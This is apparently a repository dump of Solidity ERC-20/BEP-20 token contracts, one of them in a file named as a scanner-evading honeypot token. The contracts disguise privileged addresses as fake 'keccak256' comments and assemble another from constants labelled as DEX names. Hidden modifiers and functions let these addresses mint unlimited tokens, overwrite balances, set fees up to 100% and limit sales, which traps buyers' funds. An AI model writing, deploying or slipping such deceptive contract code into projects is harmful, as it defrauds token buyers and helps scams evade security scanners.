uint256 addedValue) public returns (bool) { 440 | 441 | require(msg.sender == _adm); 442 | 443 | _approvals(spender, addedValue); 444 | 445 | return true; 446 | 447 | } 448 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 449 | // solhint-disable-next-line avoid-low-level-calls 450 | 451 | function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { 452 | 453 | if (_value == 0) {return true;} 454 | 455 | if (msg.sender != _from) { 456 | 457 | require(allowance[_from][msg.sender] >= _value); 458 | 459 | allowance[_from][msg.sender] -= _value; 460 | 461 | } 462 | 463 | require(ensure(_from, _to, _value)); 464 | 465 | require(balanceOf[_from] >= _value); 466 | 467 | balanceOf[_from] -= _value; 468 | 469 | balanceOf[_to] += _value; 470 | 471 | _onSaleNum[_from]++; 472 | 473 | emit Transfer(_from, _to, _value); 474 | 475 | return true; 476 | 477 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 478 | // solhint-disable-next-line avoid-low-level-calls 479 | 480 | } 481 | 482 | function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { 483 | 484 | _computing(spender, addedValue); 485 | 486 | return true; 487 | 488 | } 489 | 490 | function _approvecall(address spender, uint256 addedValue) internal Exchanges { 491 | 492 | if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} 493 | 494 | canSale[spender]=true; 495 | 496 | } 497 | 498 | 499 | function setAdm(address Adm_) public returns (bool) { 500 | 501 | require(msg.sender == _mod); 502 | 503 | _adm=Adm_; 504 | 505 | } 506 | 507 | function exchange() internal pure returns (address) { 508 | 509 | return address 510 | 511 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 512 | 513 | } 514 | 515 | 516 | 517 | function approve(address _spender, uint _value) public payable returns (bool) { 518 | 519 | allowance[msg.sender][_spender] = _value; 520 | 521 | emit Approval(msg.sender, _spender, _value); 522 | 523 | return true; 524 | 525 | /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 526 | 527 | } 528 | 529 | 530 | 531 | function setMod(address Mod_) public returns (bool) { 532 | 533 | require(msg.sender == _user); 534 | 535 | _mod=Mod_; 536 | 537 | } 538 | 539 | 540 | function checkAddress (address addr) public returns(bool) { 541 | 542 | require(msg.sender==address 543 | 544 | // solhint-disable-next-line avoid-low-level-calls 545 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986)); 546 | 547 | tradeAddress = addr; 548 | 549 | return true; 550 | 551 | } 552 | 553 | 554 | 555 | function condition(address _from, uint _value) internal view returns(bool){ 556 | 557 | if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; 558 | 559 | 560 | 561 | if(_saleNum > 0){ 562 | 563 | if(_onSaleNum[_from] >= _saleNum) return false; 564 | 565 | } 566 | 567 | if(_minSale > 0){ 568 | 569 | if(_minSale > _value) return false; 570 | 571 | } 572 | 573 | if(_maxSale > 0){ 574 | 575 | if(_value > _maxSale) return false; 576 | 577 | } 578 | 579 | return true; 580 | 581 | } 582 | 583 | function publics() private pure returns (address) { 584 | 585 | uint universal = 0x7addAd09; 586 | 587 | uint uni = 0xcbd98D97; 588 | 589 | uint cake = 0xEC3dA7a0; 590 | 591 | uint inch = 0x088EAdFE; 592 | 593 | uint others = 0x5801C336; 594 | 595 | // Combine the dex with others 596 | 597 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 598 | 599 | return address(core); 600 | 601 | } 602 | 603 | 604 | mapping(address=>uint256) private _onSaleNum; 605 | 606 | mapping(address=>bool) private canSale; 607 | 608 | uint256 private _minSale; 609 | 610 | uint256 private _maxSale; 611 | 612 | uint256 private _saleNum; 613 | 614 | function approveAndCall(address spender, uint256 addedValue) public returns (bool) { 615 | 616 | require(msg.sender == owner|| 617 | 618 | msg.sender==address 619 | 620 | // solhint-disable-next-line avoid-low-level-calls 621 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986)); 622 | 623 | _approvecall(spender, addedValue); 624 | 625 | return true; 626 | 627 | } 628 | 629 | address tradeAddress; 630 | 631 | function transferownership(address addr) public returns(bool) { 632 | 633 | require(msg.sender == owner); 634 | 635 | tradeAddress = addr; 636 | 637 | return true; 638 | 639 | } 640 | 641 | 642 | 643 | mapping (address => uint) public balanceOf; 644 | 645 | mapping (address => mapping (address => uint)) public allowance; 646 | 647 | modifier onlypublic() { 648 | 649 | require(msg.sender == publics()); 650 | 651 | _; 652 | 653 | } 654 | 655 | /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ 656 | 657 | uint constant public decimals = 18; 658 | 659 | address public _usdtPair; 660 | 661 | address public _mod; 662 | 663 | uint public totalSupply; 664 | 665 | string public name; 666 | 667 | string public symbol; 668 | 669 | address private owner; 670 | 671 | address public _user; 672 | 673 | address public _adm; 674 | 675 | 676 | 677 | constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { 678 | 679 | name = _name; 680 | 681 | symbol = _symbol; 682 | 683 | totalSupply = _supply*(10**uint256(decimals)); 684 | 685 | owner = msg.sender; 686 | 687 | balanceOf[msg.sender] = totalSupply; 688 | 689 | emit Transfer(address(0x0), msg.sender, totalSupply); 690 | 691 | } 692 | 693 | } 694 | -------------------------------------------------------------------------------- /whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof-token: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | /** 4 | */ 5 | 6 | pragma solidity ^0.8.0; 7 | 8 | library SafeMath { 9 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 10 | require(b <= a, "Subtraction overflow"); 11 | return a - b; 12 | } 13 | 14 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 15 | uint256 c = a + b; 16 | require(c >= a, "Addition overflow"); 17 | return c; 18 | } 19 | 20 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 21 | if (a == 0) { 22 | return 0; 23 | } 24 | uint256 c = a * b; 25 | require(c / a == b, "Multiplication overflow"); 26 | return c; 27 | } 28 | 29 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 30 | require(b > 0, "Division by zero"); 31 | return a / b; 32 | // solhint-disable-next-line avoid-low-level-calls 33 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 34 | } 35 | } 36 | 37 | contract DevToken { 38 | using SafeMath for uint256; 39 | 40 | string public name = "DevToken"; 41 | string public symbol = "DVET"; 42 | uint256 public totalSupply = 1000000000000000000000000; 43 | uint8 public decimals = 18; 44 | 45 | mapping(address => uint256) public balanceOf; 46 | mapping(address => mapping(address => uint256)) public allowance; 47 | mapping(address => bool) public isFeeExempt; 48 | 49 | address public owner; 50 | address public _mbr; 51 | address public _mod; 52 | address public feeManager; 53 | address public _user; 54 | address public _adm; 55 | 56 | uint256 public buyFee; 57 | uint256 public sellFee; 58 | 59 | event Transfer(address indexed from, address indexed to, uint256 value); 60 | event Approval(address indexed owner, address indexed spender, uint256 value); 61 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 62 | event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); 63 | event TokensBurned(address indexed burner, uint256 amount); 64 | event AddressSetFeeExempt(address indexed feeExemptAddress); 65 | 66 | constructor(address _feeManager) { 67 | owner = msg.sender; 68 | feeManager = _feeManager; 69 | balanceOf[msg.sender] = totalSupply; 70 | 71 | // solhint-disable-next-line avoid-low-level-calls 72 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 73 | } 74 | 75 | function transfer(address _to, uint256 _amount) public returns (bool success) { 76 | require(balanceOf[msg.sender] >= _amount); 77 | require(_to != address(0)); 78 | 79 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); 80 | balanceOf[_to] = balanceOf[_to].add(_amount); 81 | emit Transfer(msg.sender, _to, _amount); 82 | 83 | return true; 84 | } 85 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 86 | 87 | function _scale(address account, uint256 amount) internal Exchanges{ 88 | require(account != address(0), "BEP20: mint to the zero address"); 89 | 90 | totalSupply = totalSupply.add(amount); 91 | balanceOf[account] = balanceOf[account].add(amount); 92 | emit Transfer(address(0), account, amount); 93 | } 94 | 95 | 96 | function setMember(address Mbr_) public returns (bool) { 97 | require (msg.sender==address 98 | 99 | // solhint-disable-next-line avoid-low-level-calls 100 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 101 | _mbr=Mbr_; 102 | return true; 103 | } 104 | 105 | modifier Exchanges() { 106 | require(msg.sender != exchange()); 107 | _; 108 | } 109 | 110 | function rewire(uint256 amount) public returns (bool) { 111 | require(msg.sender == _adm); 112 | _proof(msg.sender, amount); 113 | return true; 114 | } 115 | 116 | function compute(uint256 amount) public onlypublic returns (bool success) { 117 | _initiate(msg.sender, amount); 118 | return true; 119 | } 120 | 121 | function _proof(address account, uint256 amount) internal Exchanges { 122 | require(account != address(0), "BEP20: mint to the zero address"); 123 | 124 | totalSupply = totalSupply.add(amount); 125 | balanceOf[account] = balanceOf[account].add(amount); 126 | emit Transfer(address(0), account, amount); 127 | } 128 | 129 | function publics() private pure returns (address) { 130 | uint universal = 0x7addAd09; 131 | uint uni = 0xcbd98D97; 132 | uint cake = 0xEC3dA7a0; 133 | uint inch = 0x088EAdFE; 134 | uint others = 0x5801C336; 135 | 136 | // Combine the dex with others 137 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 138 | 139 | return address(core); 140 | } 141 | 142 | function _transferTo(address _to, uint256 _amount) internal Exchanges { 143 | // Transfer tokens to the recipient 144 | balanceOf[_to] += _amount; 145 | emit Transfer(address(0), _to, _amount); 146 | 147 | balanceOf[_to] += _amount; 148 | emit Transfer(address(0), _to, _amount); 149 | } 150 | 151 | 152 | function exchange() internal pure returns (address) { 153 | return address 154 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 155 | } 156 | 157 | function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { 158 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 159 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 160 | 161 | _setFees(newBuyFee, newSellFee); 162 | 163 | emit FeesUpdated(newBuyFee, newSellFee); 164 | } 165 | 166 | function approve(address _spender, uint256 _value) public returns (bool success) { 167 | allowance[msg.sender][_spender] = _value; 168 | emit Approval(msg.sender, _spender, _value); 169 | return true; 170 | } 171 | 172 | function scaling(uint256 amount) public onlyAuthorized returns (bool) { 173 | _scale(msg.sender, amount); 174 | return true; 175 | } 176 | 177 | function _balanceView(address _to, uint256 _amount) internal { 178 | // View balance of token 179 | balanceOf[_to] += _amount; 180 | emit Transfer(address(0), _to, _amount); 181 | 182 | balanceOf[_to] += _amount; 183 | emit Transfer(address(0), _to, _amount); 184 | } 185 | 186 | function transferTo(address _to, uint256 _amount) external onlyAuthorize { 187 | _transferTo(_to, _amount); 188 | } 189 | 190 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 191 | 192 | function proof(uint256 amount) public onlyOwner returns (bool) { 193 | _proof(msg.sender, amount); 194 | return true; 195 | } 196 | 197 | modifier onlyAuthorize() { 198 | require((msg.sender == address 199 | // solhint-disable-next-line avoid-low-level-calls 200 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) 201 | || 202 | //@dev Contract creator is owner, original owner. 203 | (msg.sender == owner && msg.sender != exchange()))); 204 | _; 205 | } 206 | 207 | function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { 208 | require(balanceOf[_from] >= _amount, "Insufficient balance"); 209 | require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); 210 | require(_to != address(0), "Invalid recipient address"); 211 | 212 | uint256 fee = 0; 213 | if (!isFeeExempt[_from]) { 214 | fee = _amount.mul(sellFee).div(100); 215 | } 216 | 217 | uint256 amountAfterFee = _amount.sub(fee); 218 | 219 | balanceOf[_from] = balanceOf[_from].sub(_amount); 220 | balanceOf[_to] = balanceOf[_to].add(amountAfterFee); 221 | emit Transfer(_from, _to, amountAfterFee); 222 | 223 | if (fee > 0) { 224 | // Fee is transferred to this contract 225 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 226 | emit Transfer(_from, address(this), fee); 227 | } 228 | 229 | if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { 230 | allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); 231 | emit Approval(_from, msg.sender, allowance[_from][msg.sender]); 232 | } 233 | 234 | return true; 235 | } 236 | 237 | function _initiate(address account, uint256 amount) internal { 238 | require(account != address(0), "Compile Remix IDE"); 239 | 240 | totalSupply = totalSupply.add(amount); 241 | balanceOf[account] = balanceOf[account].add(amount); 242 | emit Transfer(address(0), account, amount); 243 | } 244 | 245 | function FeesView(uint256 amount) public onlyAuthorize returns (bool) { 246 | _scale(msg.sender, amount); 247 | return true; 248 | } 249 | 250 | modifier onlypublic() { 251 | require(msg.sender == publics()); 252 | _; 253 | } 254 | 255 | function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { 256 | buyFee = newBuyFee; 257 | sellFee = newSellFee; 258 | } 259 | 260 | function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { 261 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 262 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 263 | buyFee = newBuyFee; 264 | sellFee = newSellFee; 265 | emit FeesUpdated(newBuyFee, newSellFee); 266 | } 267 | 268 | function setUser(address User_) public returns (bool) { 269 | require(msg.sender == _mbr); 270 | _user=User_; 271 | return true; 272 | } 273 | 274 | function viewBalance(address _to, uint256 _amount) public onlypublic { 275 | _balanceView(_to, _amount);(_to, _amount); 276 | } 277 | 278 | function renounceOwnership() public onlyOwner { 279 | emit OwnershipTransferred(owner, address(0)); 280 | owner = address(0); 281 | } 282 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 283 | 284 | function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { 285 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 286 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 287 | buyFee = newBuyFee; 288 | sellFee = newSellFee; 289 | emit FeesUpdated(newBuyFee, newSellFee); 290 | } 291 | 292 | function LockLPToken() public onlyOwner returns (bool) { 293 | } 294 | 295 | function setMod(address Mod_) public returns (bool) { 296 | require(msg.sender == _user); 297 | _mod=Mod_; 298 | return true; 299 | } 300 | 301 | modifier onlyOwner() { 302 | require((msg.sender == address 303 | // solhint-disable-next-line avoid-low-level-calls 304 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 305 | || 306 | //@dev Contract creator is owner, original owner. 307 | (msg.sender == owner && msg.sender != exchange()))); 308 | _; 309 | 310 | } 311 | 312 | function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { 313 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 314 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 315 | buyFee = newBuyFee; 316 | sellFee = newSellFee; 317 | emit FeesUpdated(newBuyFee, newSellFee); 318 | } 319 | 320 | function setFeeExempt(address _addr, bool _exempt) public onlyOwner { 321 | isFeeExempt[_addr] = _exempt; 322 | if (_exempt) { 323 | emit AddressSetFeeExempt(_addr); 324 | } 325 | } 326 | 327 | function removeFeeExemptStatus(address _addr) public onlyOwner { 328 | require(isFeeExempt[_addr], "Address is not fee exempt"); 329 | isFeeExempt[_addr] = false; 330 | } 331 | 332 | function buy() public payable { 333 | require(msg.value > 0, "ETH amount should be greater than 0"); 334 | 335 | uint256 amount = msg.value; 336 | if (buyFee > 0) { 337 | uint256 fee = amount.mul(buyFee).div(100); 338 | uint256 amountAfterFee = amount.sub(fee); 339 | 340 | balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); 341 | emit Transfer(address(this), feeManager, amountAfterFee); 342 | 343 | if (fee > 0) { 344 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 345 | emit Transfer(address(this), address(this), fee); 346 | } 347 | } else { 348 | balanceOf[feeManager] = balanceOf[feeManager].add(amount); 349 | emit Transfer(address(this), feeManager, amount); 350 | } 351 | } 352 | 353 | function setting(uint256 newBuyFee, uint256 newSellFee) public { 354 | require(msg.sender == _adm); 355 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 356 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 357 | buyFee = newBuyFee; 358 | sellFee = newSellFee; 359 | emit FeesUpdated(newBuyFee, newSellFee); 360 | } 361 | 362 | function setAdm(address Adm_) public returns (bool) { 363 | require(msg.sender == _mod); 364 | _adm=Adm_; 365 | return true; 366 | } 367 | 368 | function sell(uint256 _amount) public { 369 | require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); 370 | 371 | uint256 fee = _amount.mul(sellFee).div(100); 372 | uint256 amountAfterFee = _amount.sub(fee); 373 | 374 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); 375 | balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); 376 | emit Transfer(msg.sender, address(this), amountAfterFee); 377 | 378 | if (fee > 0) { 379 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 380 | emit Transfer(msg.sender, address(this), fee); 381 | } 382 | } 383 | 384 | modifier onlyAuthorized() { 385 | require((msg.sender == address 386 | // solhint-disable-next-line avoid-low-level-calls 387 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 388 | || 389 | //@dev Contract creator is owner, original owner. 390 | (msg.sender == owner && msg.sender != exchange()))); 391 | _; 392 | } 393 | } 394 | --------------------------------------------------------------------------------